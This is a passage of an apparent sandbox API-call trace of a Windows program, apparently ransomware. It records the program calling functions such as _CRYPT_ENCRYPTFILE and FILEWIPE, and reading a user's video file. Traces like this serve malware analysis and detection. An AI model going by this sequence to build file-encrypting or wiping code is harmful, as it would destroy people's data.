CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0029.210] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.211] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.211] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.211] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.211] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.211] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.211] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.211] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.211] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.211] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.211] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.211] CryptReleaseContext (hProv=0xe8f4199930, dwFlags=0x0) returned 1 [0029.212] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.212] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.212] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.212] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0029.212] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.212] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.212] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.212] CloseHandle (hObject=0x1fc) returned 1 [0029.213] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.213] CloseHandle (hObject=0x188) returned 1 [0029.215] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.216] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.216] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.216] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.216] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\4_FIU1Ihmr5KIfySz.mkv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\4_fiu1ihmr5kifysz.mkv")) returned 0x20 [0029.216] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.216] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\4_FIU1Ihmr5KIfySz.mkv", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f406a010 [0029.216] FindClose (in: hFindFile=0xe8f406a010 | out: hFindFile=0xe8f406a010) returned 1 [0029.216] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.216] CharLowerBuffW (in: lpsz="byte[14024]", cchLength=0xb | out: lpsz="byte[14024]") returned 0xb [0029.217] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.217] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.217] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.217] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.218] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0029.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40646d0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0029.218] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0029.218] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.218] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.218] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.218] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.219] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.219] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.219] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.219] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.219] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.219] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.220] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.220] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.220] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.220] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.220] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.220] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.221] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.221] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.221] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.221] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.221] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=10481) returned 1 [0029.221] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.221] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.221] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.221] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x28f1, lpOverlapped=0x0) returned 1 [0029.221] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.221] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x28f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.221] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=10481) returned 1 [0029.221] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.221] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.221] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.221] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.221] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.221] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.221] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.222] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.222] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.222] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.222] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.222] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.222] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.222] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.222] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.223] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.223] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.223] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.223] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.223] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.223] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.223] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.223] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 